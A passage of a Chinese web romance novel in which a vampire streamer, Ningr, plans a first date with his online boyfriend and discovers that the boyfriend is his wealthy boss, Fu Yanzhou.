像是受到了蓝宝石的召唤,宁尔脚下几乎没有犹豫,就跟上了傅宴舟的脚步。 他动作流利地拿出一张卡,平日里安保严苛的珠宝展馆,此刻没有任何旁人,被傅总的卡轻松一刷便自动打开了门,整个展厅像是为他们打开了奇幻世界的大门。 整个珠宝厅都装饰着淡蓝色的地灯,地上铺着柔软的长毛地毯,安静地仿佛置身于一片幽深玄妙的海底世界。 每一件珠宝都陈列在精美的玻璃盏罩中,绽放着独有的颜色光彩,造型简约,美轮美奂。 和他们吸血鬼家族里使用的几乎差不多。 宁尔无心感慨其他珠宝的精致,视线不受控地被中心那颗蓝宝石吸引。 这是他第一次这么近距离再次看到那颗蓝宝石,那个连接两个世界的契石,此刻正躺在整个展厅最核心的位置,悬于半空,光泽万缕。 宁尔不知道自己盯着蓝宝石傻站了多久,久到傅总叫他都没听到。 一声“小耳朵”从耳边传来,宁尔才回过神: “嗯?” 傅宴舟顺着他的目光看去: “这是傅家近百年来收藏最佳的一件蓝宝石,这座展览馆最初也是以蓝宝石的名字命名,浅海之泪。” 他的语气十分随意,只是随口给他介绍了一句,注意力并不在此。 宁尔艰难地移开目光,跟着傅总走向里间的一个展厅。 在展厅的最深处,傅宴舟停在了一件红宝石工艺品前,是一枚胸针。 那颗红宝石颜色深红,流光溢彩,诺大的宝石镶嵌在大颗的彩钻上,整体呈现出一个造型。 “玫瑰花?” 宁尔脱口问。 傅宴舟点头: “红玫瑰。” 宁尔下意识低头看着自己胸口那朵鲜艳的玫瑰,傅宴舟伸手,按动了珠宝旁的按钮,玻璃罩缓缓升起,他把那枚胸针取了出来。 胸针被他夹在修长的指尖,傅宴舟背着光,向站在原地的宁尔缓缓走来,脑袋凑得很近。 他仍未摘下口罩,眉骨在阴影的勾了下轮廓分明,深邃的双眼温柔地似乎盛了水。 他身上熟悉好闻的雪松味扑来,宁尔有些发痴地同傅宴舟那双眼睛对视着。 直到他把自己西装口袋那朵玫瑰花拿走,修长的手指抵在要把胸针往他胸口别时,宁尔才猛地反应过来。 他下意识一推,胸针的针尾顺势刺入了傅宴舟的手指。 “傅总,你、你干什么?” 宁尔他心跳很快,虽然傅总什么都没说,但宁尔隐约觉得,他的眼神从今晚起都变得有些十分奇怪。 这种眼神,这种眼神…… 傅宴舟毫不在意地捻去手指上冒出来的血珠。 他继续走到宁尔面前,眉眼仍旧温柔地看着宁尔的脸: “没干什么。只是觉得,这朵玫瑰更适合你。” 血腥的味道扑面而来,宁尔这才发现他自己刚刚误伤了傅总,赶紧一边道歉一边说: “别,不用,对,对不起傅总,但,但我不需要。” “为什么不要?” 宁尔不想说是因为现在的感觉和傅总的眼神让他觉得奇怪,于是说了一个其他的理由: “太、太贵重了,不能要。” 这也的确是实话。 这多玫瑰花后面也有很多很多0。 多到足以证明它在人类世界的价值。 宁尔看到傅宴舟手上的鲜血沾染到了红宝石上,血腥的味道让宁尔有些生理性.反应,他紧贴墙边,脑袋不自然地侧过去,大口呼吸。 傅宴舟仍有再往前走的意思,宁尔赶忙伸出手挡在两人之间: “你别、别过来。” “傅总,你知道我力气大,动起手来你打不过我的。” 男人血液的味道上次就让宁尔险些失控,此刻又是这么糟糕地在这个狭小的空间。 傅宴舟看着男孩白皙脖颈上崩出的青筋,呼吸起伏间潮红的脸颊,尽力克制的严肃神情,丝毫不留情地又往前半步,身体的阴影压在宁尔面前: “因为贵重,所以不收?” “对、对。” “你真正想和我要的东西,恐怕比这个贵重吧?” 宁尔猛地扭过头对视上傅宴舟的目光,就看到他眼睛意味深长地眯了眯: “那个非傅宴舟不可、只能告诉傅宴舟的东西,到底是什么?能让你回家的,到底是什么?” 回家…… 他怎么知道回家…… 血腥的味道和傅宴舟熟悉的嗓音弄得宁尔脑袋发晕,他有些无力地紧紧靠着墙。 眼前的人就是傅宴舟,那颗蓝宝石甚至都就在外面,如果他真的说了,甚至如果傅宴舟真的同意借给他,那他……真的就能立马回去了吗? 傅宴舟总裁对他的了解远比他想象的多,远比他想象复杂,但又有什么关系呢? 只要能借用到蓝宝石,只要他像刚刚一样按下按钮 那个属于他的世界,无尽肆意穿行的黑夜,尚未完全弄清楚的身世,为他冒生命危险的最好的朋友莱特…… 那舟先生呢? 和舟先生永远断联的感觉瞬间像一排小针刺痛内心,陡然将宁尔拉回了现实: “我、我……我现在还不能说……” “什么时候才能说?” 宁尔感受到了傅总语气中的严肃的不悦,此刻的他才像是以往那个靠近都让人害怕的总裁。 宁尔害怕他真的生气,再也没办法接触到蓝宝石了,纤长的睫毛轻轻抖动着,语气因为害怕和克制有些颤抖: “我、我不知道……” “一次又一次来到我身边,一次又一次给你机会。” “还是一句我不知道么?” 傅宴舟仿佛看出了他的害怕,声音又温柔了一些,高大的身影俯低,目光与宁尔平视,语气近乎诱哄: “三天。三天之内,考虑是否要告诉我。” “那三天之后呢?傅总会把我开除,当做再也不认识我吗?” 宁尔绿色的眼睛在光影下如同蒙了一层水雾,抬头问过话之后紧张地咬着嘴唇,白皙的锁骨大幅度起伏着。 傅宴舟眉头稍稍一动,站直身体,在宁尔的注视下,左手拉起他白色西装的衣襟,冰凉的指尖触碰到他的衬衫。 傅宴舟从容地将那枚红宝石玫瑰花胸针别在他胸前,看着少年精致的脸庞和那朵宝石交相辉映,温柔敛眸: “不会。”—— 作者有话说: 傅总压力面了hhhh 傅总:宝宝你到底要什么你告诉我啊 小耳朵:呜呜呜呜呜呜呜 第55章 像恋人第一次约会那样…… 宁尔被傅总送回家的第二天下午, 手机才被送到家。 宁尔迫不及待的充上电打开手机,果然,消息要炸了。 缘来的私聊消息就不用说了, 宁尔随手打开缘小圈, 主页基本都是他的照片。 现场照、直播截图、动图、视频。 一夜之间涨粉80万, 一跃跻身top前3。 缘来有这么多观众吗?? 宁尔忽然想起来昨天看手机时候他上了热搜,赶忙又打开了那个文娱软件看。 词条虽然不在前面, 但往下翻翻还是能找到。 宁尔点进去看, 除了和缘小圈差不多的他的图片视频, 还有很多人在问这个帅哥是哪个圈的, 怎么以前没见过。 于是下面就有人解释, 是缘来的声音主播,每晚直播互动, 一个墨镜就能上麦聊天,不定期放送粉丝福利,语音房还经常有红包拿。 入股不亏,包可爱的。 宁尔记得昨天还有傅总名字的词条,但现在已经不在热搜上了。 怎么会不见了呢? 记错了? 宁尔试着去自己搜索了一下这个词条, 蹦出来的话题或者评论时间都是昨天或者今天。 但并没有几条。 而且内容都很相似。 基本上只是说傅宴舟作为背后股东出席MCN公司年会活动,一句简简单单的描述。 没有配图,没有感情,甚至连那些头像都有一种莫名的和谐感,并不像是缘来平时的粉丝观众。 这就是傅总带出来的兵吗。 威望/. 宁尔简单回了几条比较重要的消息, 和舟先生说了一句手机找回来了就放下了手机。 宁尔趴在桌子上, 有些苦恼地看着那枚红宝石胸针。 胸针被他小心地放在一个盒子里,闪耀的火彩和这间出租屋格格不入。 宁尔痴痴地看着宝石的光芒,回想起昨天傅总温柔炽热的奇怪眼神, 不顾自己流血,俯身给他戴上胸针,还有那句意味不明的“不会”。 不会是什么意思? 比那样还严重吗? 宁尔能感觉到他语气中的认真和严肃,三天,就是三天。 那块蓝宝石是整个傅家最珍贵的藏品,是整个珠宝馆的命名之源,送给他是不可能的了。 最多是借用。 三天后,如果傅总答应了借用,他就要离开了。 如果不借,他在人类世界最后一点有关回家的念想就也破灭了。 那时候他又会怎样在人类世界生存呢? 宁尔不再去看这个名贵的胸针,哪怕它也是一朵“红玫瑰”。 宁尔又拿起手机,这回消息对话框里又蹦出一句等级很高的消息。 乘风破浪。 他自从那次砸了几百万打赌叫宝宝失败后,又看过几次宁尔的直播,礼物也陆续送,稳居榜二。 而且自从舟先生表白过后,整个直播间、整个缘来都默认他们是cp,不仅不会在意默默打榜的乘风破浪,反而还会是不是揶揄他一下。 把乘风破浪当逗号使。 宁尔也劝过他,告诉他他和舟先生是彼此喜欢的关系,不只是因为打榜。 他就算打到榜0都没用。 舟先生当然也看到了他在那里砸礼物,不过也没有干涉宁尔。原话是想砸就让他砸。 乘风破浪偶尔发的私信宁尔都没怎么回过,而且也很久没有消息了,现在直接就是一句: [你之前在直播间承诺,如果见过银耳粥一定会在语音房说,还算数吗?] 怎么还聊起舟先生了? 宁尔回复:[嗯。] 乘风破浪:[那就是还没见过喽?] …… 宁尔回了一个皱眉的表情包。 意思是要怎样呢? 乘风破浪:[我回国了。] 乘风破浪:[昨天的年会盛典其实我也去了,离你很近,有印象吗?蓝色西装,前排里最年轻那个。] [没有。] 宁尔如实回答。 一个傅宴舟就吸引了他全部的注意力,没心思看别人。 [……没有也没关系。我看到你就可以。] [你比我想象中还要漂亮,也比几乎所有我见过的缘来主播都好看。不对,不止缘来,比很多露脸软件的主播都好看。] 很多。 他见过多少…… 宁尔不认为这是在夸他,不想再继续对话,很快找出一个886的表情包回给他表示结束对话。 乘风破浪:[你别着急走,我不是那个意思。] 乘风破浪:[小耳朵,我没那么肤浅,我是真的喜欢你。虽然第一次进你语音房的确只是好奇,但从第一次打赌,从我砸了那么多钱你却看都不看我一眼时候我就觉得你好特别。] [我只要有空就会来看你的直播,我喜欢你的声音,喜欢听你大惊小怪讲每天发生的事。我每次都会想,我们年龄差不多,如果你和我在一起,我会带你体验多少好玩的。] [你知道吗?昨天我看到你,和我梦到过的男孩长得一模一样。] 那应该是噩梦了。 [你怎么不说话了?嗯?] 亲亲小耳朵:[你说完了吗?我要去和舟先生煲电话粥谈恋爱了。] [我在网上学习过怎么拒绝人表白的,但我并不想对你说谢谢你的喜欢。因为这是在明明知道我喜欢舟先生的时候。] 宁尔觉得乘风破浪有点冒犯。 [喜欢又怎么样?网恋而已。你还没见过他,一切不是都还有机会么?] 【试聊倒计时即将用完,倒计发送次数:10。快来解锁你的专属虚拟恋人吧。】 屏幕上弹出一句试聊提醒,不过宁尔的私聊时间早就从第一天开始被买断了。 乘风破浪“我靠”了一句,又用掉一句机会。 [?什么机会?] [……你别打岔。我知道他给你砸了钱,让你住过奢侈酒店,玩过游乐园,可是他说要见过你吗?] [都在A市,这么久都不愿意见一面,这算什么喜欢?他到底在害怕什么?到底在考察你什么?] [你没谈过恋爱不知道,真正喜欢一个人是想每天见面,恨不得每天粘在一起的!] [你们能忍到现在不见面,你好好问问自己的内心,你对一个比自己大那么多的男人,真的是喜欢吗?] 倒计时飞快过去,宁尔一直没回复。 他看着那句“真的是喜欢吗”陷入了短暂的思考。 思考了一会儿,宁尔用最后的倒计时给乘风破浪回了一个“谢谢”的表情包。 [谢什么?想明白自己的内心了?] [嗯。] 倒计时1句。 [想明白什么了你倒是说啊?这是最后一句私聊了,xxxxx,这是我的手机号同微信号,加我聊!!!!] 倒计时0句。恭喜试用体验结束,我们的虚拟恋人您是否还满意呢?心动不如行动,快来下单吧!~ 宁尔看着这熟悉的一幕,忽然想起来之前和舟先生第一次聊天时候。 自己卡着最后一句的机会认真说了多少话。 对,认真。 他长长地出了一口气,直接连同聊天记录删了和乘风破浪的聊天记录。 还有5分钟就要九点了,这是他露脸过后的第一次直播,甚至已经有不少人在缘小圈期待预约了。 春风哥也和他确认了几次,确认他今天能正常播。 宁尔没有管语音房,而是直接给舟先生发了条消息,问他现在能不能打电话。 舟先生的电话很快就打来。 “开播前找我,是有事吗宝宝?” “嗯,有事。” “怎么了?” “舟先生” 宁尔深深吸了一口气: “我想见你。” “三天之内就要见。” “哪怕你身体还没恢复,我也要去医院见你。” 电话那边沉默了很久,舟先生温柔的声音才从听筒里传来: “好。” “不用在医院见。” 他忽然干脆的答应倒是让宁尔愣了一下: “那、那在哪里见呢?” “你想在哪儿见?” “我、我有点想不出来……” 宁尔毕竟还不那么熟人类世界,也没有网恋奔现的经验。 “马上就要开播了,要不要问问粉丝的建议?” “像所有恋人第一次约会那样。”—— 作者有话说: 下章见面!!![加油][加油][加油] 第56章 这里好冷,能不能先和哥…… “像所有恋人第一次约会那样” 宁尔轻轻跟着轻声复述了一遍这句话, 脸上随着轻轻发热,心里好像有阵暖流经过,有种熟悉中陌生的感觉。 这个直接肯定的答案, 好像一瞬间让什么傅宴舟、蓝宝石、三天之内、乘风破浪什么的都不重要了。 直播间发出了提醒他上麦的提示, 宁尔晕乎乎地点进直播间。 露脸过后的第一次直播, 一进去语音房的人数就高达6万。 如果换了往常,缘来的服务器早崩了。 可是自从知道傅宴舟是老板之后, 缘来的服务器好像都变得无比丝滑了。 经历了一个小爆红, 哪怕弹幕快得让宁尔几乎看不清, 他依旧像往常一样和大家打招呼。 有几个新号一夜之间等级很高, 有一个用户的呼声很高, 好像是一个小有名气的人物,大家都让宁尔连他。 宁尔连到人, 那人直接开门见山地说他是某某娱乐公司的,问宁尔愿不愿来签约当艺人,可以先从一些短剧开始试试。 评论区了解宁尔的老粉早就贴心地把这个人的简介贴在了评论区,是说这家公司制作了很多人类喜欢看的电视剧、电影,公司的很多“艺人”都是大名鼎鼎的明星了。 那个人用实际例子告诉宁尔, 他们上一个在直播软件看上的网红,现在已经是可以拍大荧幕电影的明星了。 他的眼光很毒辣,看几眼就知道有没有红的天赋。 他今天出现在这里,已经是对宁尔外形、气质以及上镜条件的一种肯定了。 这么多人争着解释,宁尔大概懂这是怎么一回事了。 他先是很礼貌地感谢了这个人, 然后欢迎他来缘来玩, 最后礼貌地说自己需要考虑考虑,可能之后才能给他答案。 考虑考虑。 这个人明显一愣,哪怕这个“考虑考虑”不是拒绝的托辞, 没有立马就赶紧抓住机会答应也的确在他的意料之外。 评论区的粉丝们很快都在替宁尔说话,说他就是不了解这些,需要先认真去考虑了解一下,请一定记得给宁尔这个机会。 那人可能很少碰壁,在粉丝的解释下下了个台阶,模糊客气了一句之后就毫不犹豫地退出了语音房。 最厉害的公司一走,其他想来挖人的小娱乐公司、MCN公司、直播平台意识到了难度,就也纷纷不自讨没趣了,接二连□□出语音房。 这些人一走,其他看热闹的人也退了不少,剩下的大部分都是粉丝和真正来听语音直播的。 宁尔看人数差不多了,在下一个申请连麦前刻意地咳嗽了一声: “宝们,有一个问题我想和你们请教一下……” [?] [我们之间的距离好像忽远又忽近?] [随便问啊宝宝咱们之间怎么还这么客气啊啊啊啊] [我不允许我们之间这么生疏!!!] 宁尔看着弹幕,愣了一下,故作深沉地沉默了几秒,才慢吞吞问: “我、我想问问你们……” “网恋第一次约会,去哪里比较好呢?” 弹幕沉默了三秒,紧接着就飞起来了。 [终于要和粥老板奔现了吗啊啊啊啊!!!!] [啊啊啊啊网恋成真!!] [看过耳宝之后真的在祈求舟先生最好帅一点啊啊啊啊!!!] [这样想是不是有点肤浅啊……算了不装了我也祈祷一下吧] [咖啡厅或者晚餐怎么样,可以面对面聊天。] [是的是的!同意!] [不行,两个陌生人坐在一起直接吃饭会很尴尬的!就像相亲一样都是问问题……] [不能再同意!那些相亲对象我都不想说……要不去逛博物馆?] [这个可以,边逛边有得聊还不会尴尬。] 宁尔看着大家的建议,赶紧补充了一句: “宝们,只能是晚上。只能是晚上约会。” [嗯?] [嗯嗯嗯?] [你要说这个我点子可就多了] [为什么只能是晚上!!!] [孩子长大了哈哈哈哈哈哈] [晚上的话电影院怎么样?] [感觉会没心思看电影耶,而且那么黑都看不清对方长什么样] [音乐会呢?好像也不行,都不能说话。] [去江边散步怎么样?江边夜晚很浪漫,也能边散步边聊天] [可是这个天气会不会太冷了呢……] 大家各式各样的意见都经过了精密的推敲,推敲来推敲去结果都被有不完美的地方,众口难调,一时间竟然想不到一个合适的地方。 [我想到一个既不冷、也能说话、又可以晚上、又能看到对方,灯光又可以很暗、又可以拉进距离、又有事儿做的活动。] [不儿……姐妹你想的是……] [瞳孔地震/瞳孔地震/] [满朝文武支支吾吾] [泡温泉!] 提建议的女生还没来得及打出来这三个字,评论区就飞过奇奇怪怪的话,搞得她倒有些懵了。 [哦哦哦原来是说泡温泉啊!] [太好了是泡温泉我们有救了] [姐妹你号有了哈哈哈哈哈] [房管刚刚在后台紧张地手要抖了吧哈哈哈哈哈哈] [我同意!这个天气泡个温泉最舒服了,出来还能一起吃点东西聊聊天。] [哈哈哈哈不是这对吗这真的对吗] [别管,小情侣做就对了hhhh] 这个提议赞同的人很多,宁尔赶紧去查了一下温泉是什么,就是泡在温水里,只不过不是浴缸,而是天然的温水池。 宁尔回想起上次“泡澡”的经历,身体在温热的水里很舒服。 然后宁尔很快就意识到不对了,泡澡是要脱光衣服的!!! 人类、人类可以这么开放吗?还是她们在故意逗自己…… 宁尔脸蛋通红,对着麦克风恶狠狠道: “不、去。” [为什么不去呀?] [这个建议看起来真的是最合适的了耳宝。] [对啊,你不想去的理由是什么呢?] “因为、因为……因为泡温泉要把衣服都脱掉……”宁尔把这句话憋出来,声音越来越小。 [哈哈哈哈哈我服了] [耳宝你到底在想什么] [有泳衣的!现在很多好的温泉都有提供男士温泉泳衣套装,上下装都有。] [对的对的,你上次住过那个澜·峰,那里的私汤就很好,也提供服装。] [对对,你们可以去泡温泉+吃晚饭。] [小耳朵决定了吗?确定了可以去门口偶遇一下合影吗hhhh] [???楼上达咩,这个行为太不好了吧。] [对啊,耳宝都说过会在直播里分享了,我们本来也就是看直播的关系,为什么偏要线下偶遇?] 宁尔平时分享日常时候从来没有刻意遮掩过时间地点,昨天刚一露脸,今天就有人要去“偶遇”,粉丝们一时间都没反应过来。 芝芝葡葡作为老粉赶紧提醒道: [耳宝,我们的建议你听听就行,哪怕采纳也不要再在这里说了。] [是的是的,你自己选好了就可以。] 评论区又给他出了很多主意,从第一个开始宁尔就已经在笔记本上飞速记下来了。 笔记标题叫做《人类约会方法大全》。 虽然第一次不能都用到,但也许以后还有次次呢。 12点一到,宁尔抄了整整三页的笔记下播。 刚一下播,就听到手机弹来一条消息: 银耳粥:[问好第一次怎么约会了吗?] 亲亲小耳朵:[啊……嗯……] 银耳粥:[嗯?] 亲亲小耳朵:[问好了。] 银耳粥:[嗯,是什么?] 亲亲小耳朵:[一起在江边散步~] 宁尔直接红着脸扯谎。虽然知道泡温泉可以也可以穿着衣服,但宁尔一想到那他天在温热的水池里自己皮肤殷红,身体潮热的感觉,就觉得还是有些害羞。 鬼,还是太保守了。 银耳粥:[嗯。] 银耳粥:[链接] 舟先生发来一个链接,宁尔点开一看: [尊敬的舟先生、耳先生,您已成功预约12月27日晚澜·峰酒店私人汤泉,澜·峰期待您的莅临。] ……- 太阳落山后,宁尔穿好黑色呢子大衣,里面套了一件绿色高领毛衣,一头浅棕色的微卷发整理地漂漂亮亮,背好自己的小包,在镜子前深吸了一口气出门。 一开门靳伟和陈元之都穿着毛衣,已经倚在门边看他了。 宁尔被他俩盯得有点不自在,稍稍低了低头: “伟哥、元之,怎、怎么了?” “口罩帽子眼镜都不戴了?还喷了香水?” 陈元之边往嘴里丢了片薯片边问。 此刻的宁尔呢子大衣里身形顺展,一头棕色的微卷发,那张白皙干净的脸和透绿色的眼睛格外惹眼。 孔雀开屏一样,漂亮地毫不遮掩。 “伟哥你今天不用上班吗?”宁尔害羞拙劣地转移话题。 “网恋奔现这么大的事儿我不得亲自回来见证一下。” 怎么靳伟也喜欢调侃人了。 “注意安全,手机保持畅通,有问题随时打电话。别上当受骗像某人一样哭着回来。” 陈元之愤愤地往靳伟嘴里塞了片薯片: “闭嘴啊啊啊啊。” 宁尔趁混乱表示自己知道了,赶紧从一旁溜走。 舟先生给他派的司机已经轻车熟路,早早等在门口,车上帮宁尔准备好最合口味的奶茶。 车行一会儿就到了澜·峰酒店,这次宁尔没有上楼,而是直接内部车辆带到了一个私人的院落里,好像是专用的私人温泉小院。 宁尔先来到屋内,不同于之前住得欧式城堡,中式的装修屋内设施一应俱全,矮几、茶桌、书柜,屋内还薰着好闻的香,桌上放着格式中式小吃糕点。 屋子后门出去就是温泉小院,夜色酣浓,温泉小院亮起了星星点点的昏黄小灯,恰到好处地照在几处山景,透过窗户隐约可以看到那方氤氲着热气的池水。 服务生告诉宁尔这里之后不会有任何人打扰,可以随意等待休息,如有需要随时电话叫他们就行。 宁尔礼貌道谢,等人都出去之后一个人好奇地打量着屋子。屋子里很暖和,宁尔把外套脱了,露出里面的高领绿色毛衣。 这里也没有别人,宁尔也不能看看别人是怎么泡温泉的,只能又上网查了一遍,确定一定是可以穿衣服的。 现在是晚上8点多,舟先生说他刚开完会,大概过一会儿才能到。 宁尔倒是一点儿都不急,反正他够紧张,晚到一会儿还能缓解一点。 他在房间站站坐坐,走走晃晃,吃了几颗盒子里的干果点心,又给自己倒了一杯茶喝了一口。 苦的。 宁尔赶紧皱紧眉头呸呸呸。 呸完他又照了照房间里的镜子,时间一点一点过去,紧张的心情不仅一点都没有缓解,反而心跳越来越快,仿佛要从胸口蹦出来一样。 宁尔只能打开手机玩会儿缓解紧张,结果一打开那个倒计时软件上就蹦出一个大大的倒计时。 “距离傅宴舟总裁的三天倒计时还剩0天。” 宁尔心一惊,过了今夜,真的就是三天整了。 舟先生今晚可一定不要再出什么岔子了。 一定要来啊呜呜呜呜。 宁尔又打开缘来,粉丝们都知道他今晚见舟先生,甚至在他的缘小圈里专门开了一个楼,每隔一分钟就会有人把“粥老板和小耳朵现在见面了吗”这条顶起来然后艾特他。 艾特了几百条,宁尔终于忍不住,回了一句“还没有”。 立马是更多的回复和艾特,问他为什么还没有。 还有人颇有微词,说哪怕约得是晚上,第一次见面就这么晚还迟到,有点过分。 还有沉不住气地猜会不会又有什么变故,比如放鸽子之类的。 感觉到粉丝比他还着急,宁尔只能先安慰他们,解释他只是工作太忙刚刚开完会,可能路上在堵车。 宁尔正解释着,门口忽然响起了一阵敲门声。 服务员说过绝对不会来打扰,这里也没有其他人。 那敲门的是…… 木质带窗房门上出现了一个高大的剪影,宁尔心跳一滞。 他又敲了两下,宁尔赶紧放下手机,又整理了一下头发,拉了拉衣领,尽量保持声音平稳说了句“来了”。 宁尔走到门前,对着门外的影子,深深吸了一口气,眼睛一闭,伸出两只手同时从中间把门打开。 “怎么是你?” 宁尔看清来人之后蹙紧眉头,脱口而出。 廊檐灯照在来人身上,清晰又柔和地勾勒出他的身影。 头发是刻意刻意打理过的发型,没有穿外套,雪地里一身抢眼的酒红色西装。 孔雀开屏一样。 宁尔蹙起的眉头让他刚才的目光没能持续,眸光一滞,愣了一下,还没说话就听到宁尔板着张脸继续道: “傅总,您给我的时间是三天,过了今晚的0点才算三天后,所以您现在没有权利堵在这里让我给您答案。” 宁尔那张精致的小脸憋得苍白,一口气说完这段话。 傅宴舟眸子沉了沉,饶有兴趣地看着他: “你觉得,我来这里是找你要答案的?” 宁尔不回答。 他今晚来澜·峰温泉的事又不是什么秘密,况且澜·峰酒店本来就是傅宴舟的。 既然知道这个,那一定也知道宁尔今晚要奔现了。 偏偏要在这个时候来打扰他要答案,也太过分了。 宁尔偏过头不看他,身体牢牢地挡在休息室门口,半点没有想和他多说一句话的意思。 “我不是来要答案的。三天就是三天,说好的。” “那你来干嘛?傅总。”宁尔语气依旧很硬。 傅宴舟停顿了一下: “来视察酒店管理,刚好查到这间,刚好是你。巧吗?” “……” “……” 鬼无语。 鬼抓狂。 早知道就不来这里了。 傅宴舟毕竟是他的上司,宁尔太习惯他当领导的样子了,这里虽然不是缘来,他一严肃宁尔还是不自觉也跟着正经起来。 “那、那你要怎么查?要查多久?” 宁尔撅着嘴。 “查查房间里的设施,很快,几分钟。” “可以进去了吗?” 傅宴舟一双眼睛带着笑意看着宁尔,宁尔总觉得他有些故意,但偏偏好像又没什么不对。 宁尔心一横,直接把门打开: “那你现在快点查。” 傅宴舟眼角的笑意更深了些,抬腿进门,走马观花地把房间都饶了一圈。 宁尔也没看出来他有认真查了什么设施。 第三圈绕完,终于有要结束的意思了,却见傅宴舟走到门口把门关上,然后直接坐在了茶椅上,还悠闲地给自己拿了个杯子倒了杯茶。 傅宴舟看着宁尔惊愕大睁地双眼,解释道: “外面太冷了,我在这里等等车。” “不介意吧?” 怎么会不介意!!! 宁尔要抓狂了,他走到傅宴舟面前,看着他的眼睛,眼神尽量凶巴巴道: “我、介、意!” “傅总你、你是不是故意的?”宁尔气得说话都结巴了。 傅宴舟淡淡地抿了一口茶,抬眼迎上他的目光: “故意什么?” “你……” “不管你是不是故意的,我现在认真告诉你,我的男朋友马上就要来了,我在这里就是等他一起泡温泉的。您在这里很不合适!” “男朋友?” “网恋奔现,第一次见面那个?”! 他果然是知道的。 “所以之前你和我说的男朋友,其实连面都没见过啊?” 宁尔听到这话,愣了一下,立马扬起脑袋: “没见过又怎么样?谁说男朋友一定要见过?而且不是马上就要见了吗?如果不是傅总在这里当电灯泡可能更早就见到了。” 电灯泡,宁尔学的人类新词汇。 他像只生气的小狗一样,一口气不客气地说了这么多。 没想到傅宴舟不仅没有不悦,反而笑意更深,努力憋着一样,一双深邃的眼睛无比温柔复杂地看着宁尔。 他轻咳了一声: “这里飞进一只苍蝇我都可以知道。放心,等你男朋友到门口,我会让人提前告知离开。不会影响你。” 他说完继续喝茶了,丝毫不受影响。 “……” 宁尔站在原地不知道如何是好了。 实在没招了。 如果是别人,他可能直接拎着领子把人扔出去了。 可他偏偏是傅宴舟。 宁尔走到离他很远的椅子坐下,愤愤地拿出手机刷。 评论区还在问粥老板到没到,还有人问他今天9点还直播吗,宁尔看了一眼时间,马上要九点了,他忽然灵机一动,直接把手机放好,点进了语音房: “大家好,我是亲亲小耳朵,为我而来,欢乐多多~” 宁尔看到,傅宴舟果然一愣,抬头看着他。 宁尔看他这副神色,忍不住得意地扬了扬嘴角,他刻意地咳嗽了几声,回答评论区的问题: “嗯,对,舟先生马上就到了。” “我这边有一点小状况,不过很快就能解决啦,宝们别担心。” “放心,我会直播的。” 宁尔大声回答着问题,然后点了麦克风静音,故意拿着手机走到傅宴舟面前用口型问他: “还不走吗?” 果然,傅总压根不敢说话。 “再不走就被听到了哦~”宁尔继续用气音假装说。 傅宴舟看了他几秒,站起身来,宁尔得意的嘴角还没松下来,傅宴舟忽然把外套脱了,露出里面黑色的丝绸衬衫,走到他面前。 “你、你干什么?” “你觉得我要干什么?” 他压根没收声,如果不是宁尔提前关了麦克风,这句已经被录进去了! 好疯。 宁尔下意识后退了半步,手机顺便被嗑在了桌子上。 “你、你别过来,我要生气了。” 宁尔蹙紧眉毛,像只兔子一样戒备。 “你还是害怕我?”傅宴舟莫名问了这么一句。 宁尔发现自己略微有些颤抖,但并不都是害怕,还有尽量让自己不把他扔出去的忍耐与克制。 宁尔垂下眼帘,纤长的睫毛忽闪,语气极其冰冷: “如果你再不离开,我真的会不客气了。” 他冰冷的态度和傅宴舟没来由的温柔笑意呈鲜明对比,一瞬间让房间僵持的氛围更降到冰点。 傅宴舟看着少年精致涂抹过发胶的棕色卷发,领子拉地一丝不苟的毛衣,因为紧张呼吸加重微微起伏的胸膛,在灯光下勾勒出来纤瘦的影子。 无尽的温柔从眼眸间重新藏于心中,他拿起一旁的西装外套,走到宁尔面前: “等会儿重新开一次门。” 他丢下这句话就走出房间了,还顺手把门关上了。 还没等宁尔反应过来,敲门声再次响起,于此同时响起的是舟先生的电话。 两边的声音同时响起,宁尔难以置信地看着门口,大脑一阵空白。 铃声响了一会儿,宁尔才拿起手机,艰难的按下了和舟先生电话的接通键,把手机牢牢抓在手里,几乎是拖着步子蹭到门边轻轻打开门。 男人重新穿好了外套,站在同样的位置,灯光柔软地勾勒在他的身上,他的手机开着免提,屏幕上赫然是和宁尔通话的界面。 傅宴舟上前一步站在宁尔脚前,看着惊到发呆的少年,低头一字一句认真道: “重新认识一下,我是舟先生,全名傅宴舟。” 他又稍稍俯身,视线和宁尔平齐,两人近得彼此鼻息间喷出的白雾都在交缠。 “这里好冷,能不能先和哥哥进去?”—— 作者有话说: 傅宴舟:爱老婆哪有逗老婆有趣 (对不起久等了,这几张评论区都红包请大家小情侣恩爱) 第57章 亲吻的感觉能想起来了吗…… 宁尔的手机从手里应声滑落, 傅宴舟反应迅速,屈膝弯腰,两指尖夹住了宁尔的手机。 他把手机递还到宁尔身前, 宁尔没有伸手接, 愣愣地垂着两条胳膊, 抬头看着面前的男人。 男人黑眉锋利,眉骨深邃, 墨色瞳孔正在似笑非笑地看着他, 灯光勾勒在他高挺的鼻梁上。 宁尔这才注意道, 那道贯穿鼻梁嘴角的骇人伤疤不知道什么时候已经消失了, 皮肤上只有一道颜色稍浅的淡粉色痕迹。 “傅、傅……” 宁尔迎着这个熟悉的上司的目光, 嘴唇轻颤,仍旧无法在他面前把这三个字叫全。 “傅宴舟。” 他又重复了一遍, 替宁尔补全。 舟先生、竟然、竟然是傅宴舟…… 宁尔看着那张脸,那个冰冷疏离,拒人于千里之外的总裁,那个传说中行事低调的A市首富,那个不由分说让他三天之内给自己答案的掌控者, 竟然就是他一直以来的网恋对象。 一个是宁尔害怕、疏离、不得不为了蓝宝石留在他身边的人,一个是宁尔从来到人类世界就依赖、信任、提到他会柔软悸动的人类。 他们,竟然是,同一个人。 宁尔抬头看着傅宴舟,他堵在门前, 夜风卷着院子里的积雪轻轻落在宁尔纤长的睫毛上, 睫毛轻轻抖动了一下,宝石般的绿色眼眸轻缩着,白皙净透的鼻尖被冻得泛红。 傅宴舟忽然不由分说地拉起宁尔的手, 动作熟练而自然,掌心牵在掌心中,稍稍用力把宁尔拉回了房间里。 宁尔的身体被惯性一带,完全忘记了任何反抗,任由男人把他拉回房内。 傅宴舟反手把门关上,风雪止于门外,中式木质的房间内烛黄灯光在遮罩里跃动。 傅宴舟虽然在门外受了会儿冻,但他手心的温度仍稍稍高过宁尔。 手心中的微热触感让宁尔心跳有些加快,他下意识抽回手,他眨着眼睛看着“傅宴舟”: “你、你真的是舟先生吗?” 仿佛在宁尔心中,傅宴舟是一个没什么做不到的厉害人物。 他可以洞察宁尔关于回家的所求,可以成为一个看似和他毫无关系的直播软件老板,可以准确出现在他的温泉房间里。 那这个账号……会不会是他强迫真正的“舟先生”得到的呢? “宝宝,还不相信吗?” 